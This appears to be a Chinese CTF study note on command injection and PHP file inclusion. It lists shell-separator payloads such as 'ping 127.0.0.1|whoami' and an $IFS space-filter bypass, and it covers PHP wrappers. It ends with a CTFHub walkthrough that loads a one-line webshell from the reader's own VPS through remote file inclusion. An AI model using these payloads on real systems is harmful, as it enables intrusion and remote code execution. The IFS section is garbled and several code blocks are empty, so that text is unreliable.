命令执行漏洞
管道符
Windows系例支持的管道符如下所示。
- “|”:直接执行后面的语句。例如:ping 127.0.0.1|whoami。
- “||”:如果前面执行的语句执行出错,则执行后面的语句,前面的语句只能为假。例如:ping 2||whoami。
- “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
Linux系统支持的管道符如下所示。
- “;”:执行完前面的语句再执行后面的。例如:ping 127.0.0.1;whoami。
- “|”:显示后面语句的执行结果。例如:ping 127.0.0.1|whoami。
- “||”:当前面的语句执行出错时,执行后面的语句。例如:ping 1||whoami。
- “&”:如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。例如:ping 127.0.0.1&whoami。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的,前面的语句只能为真。例如:ping 127.0.0.1&&whoami。
使用&&和||建议进行url编码
过滤空格
1 |
|
IFS(Internal Field Separator)
是Linux存在的环境变量,是内部字段分隔符。
如果单纯的“I F S a a a ” , 会 被 直 接 解 析 为 I F S a a a 是 整 个 变 量 名 , 而 在 L i n u x 中 “ IFSaaa”,会被直接解析为 IFSaaa 是整个变量名, 而在Linux中“IFSaaa”,会被直接解析为IFSaaa是整个变量名,而在Linux中“IFSaaa” 变量是不存在的。所以需要间隔符来避免,通常用“$9”。
“9 ” 表 示 当 前 系 统 s h e l l 进 程 的 第 九 个 参 数 , 通 常 是 一 个 空 字 符 , 所 以 前 面 的 “ 9”表示当前系统 shell 进程的第九个参数,通常是一个空字符,所以前面的 “9”表示当前系统shell进程的第九个参数,通常是一个空字符,所以前面的“IFSaaa”
可以改为 “$IFS$9aaa” 。同理也可以加一个{}固定变量名。
过滤关键字
1 |
|
php常见RCE函数
1 |
|
php伪协议
php://input
php://input要求allow_url_include
设置为On
php://input用于执行php代码(需要post请求提交数据)
1 |
|
注意请求空行
data://
data://同样类似于php://input
1 |
|
php://filter
可以获取指定文件的源码,但是当他与包含函数结合是,php://filter流会被当做php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取(要与require这些函数结合使用)
1 |
|
RFI
给咱一个phpinfo那么必然有他的道理
PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为”远程文件包含漏洞(Remote File Inclusion RFI)”。
allow_url_fopen = On
是否允许打开远程文件allow_url_include = On
是否允许include/require远程文件去康康
解法一:(该题的常规解法)
在服务器中 mkdir一个文件夹 然后vi 一个yjh.txt
编辑一个一句话木马
随后用python启动一个http服务
Python3 -m http.server 8000
http://challenge-d46d08980443a4ef.sandbox.ctfhub.com:10080/?file=http://你的vps地址:8000/yjh.txt
部分内容来自参考博客